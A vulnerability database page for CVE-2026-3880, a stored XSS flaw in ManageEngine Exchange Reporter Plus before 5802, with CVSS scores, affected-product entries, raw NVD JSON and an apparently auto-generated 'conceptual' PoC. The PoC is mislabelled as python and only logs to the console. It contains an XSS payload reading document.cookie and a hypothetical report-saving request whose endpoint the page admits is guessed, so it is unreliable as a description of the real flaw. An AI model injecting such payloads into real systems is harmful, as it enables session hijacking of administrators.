Security Vulnerability Report
中文
CVE-2026-3880 CVSS 7.3 HIGH

CVE-2026-3880

Published: 2026-04-03 12:16:19
Last Modified: 2026-04-03 18:27:41
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Public Folder Client Permissions report.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:* - VULNERABLE
Zohocorp ManageEngine Exchange Reporter Plus < 5802

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Conceptual Proof of Concept (PoC) for CVE-2026-3880 Target: Zohocorp ManageEngine Exchange Reporter Plus < 5802 Vulnerable Parameter: Public Folder Client Permissions report fields --> <script> // Simulating an attacker's payload to be injected into the report // This payload attempts to steal the administrator's session cookie var payload = '<img src=x onerror=alert(document.cookie)>'; // Function to simulate the HTTP POST request to inject the payload // In a real scenario, this would be sent to the vulnerable endpoint function exploit() { console.log("[+] Injecting payload into Public Folder Client Permissions report..."); // The vulnerable endpoint might look like this (hypothetical) // POST /servlet/ReportServlet let data = { "action": "savePermissions", "reportName": "Public Folder Client Permissions", "clientInput": payload // Malicious input inserted here }; // Log the data that would be sent console.log("[+] Payload Data:", JSON.stringify(data)); console.log("[+] Waiting for administrator to view the report..."); } exploit(); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3880", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T12:16:18.933", "lastModified": "2026-04-03T18:27:41.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Public Folder Client Permissions report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-3880.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}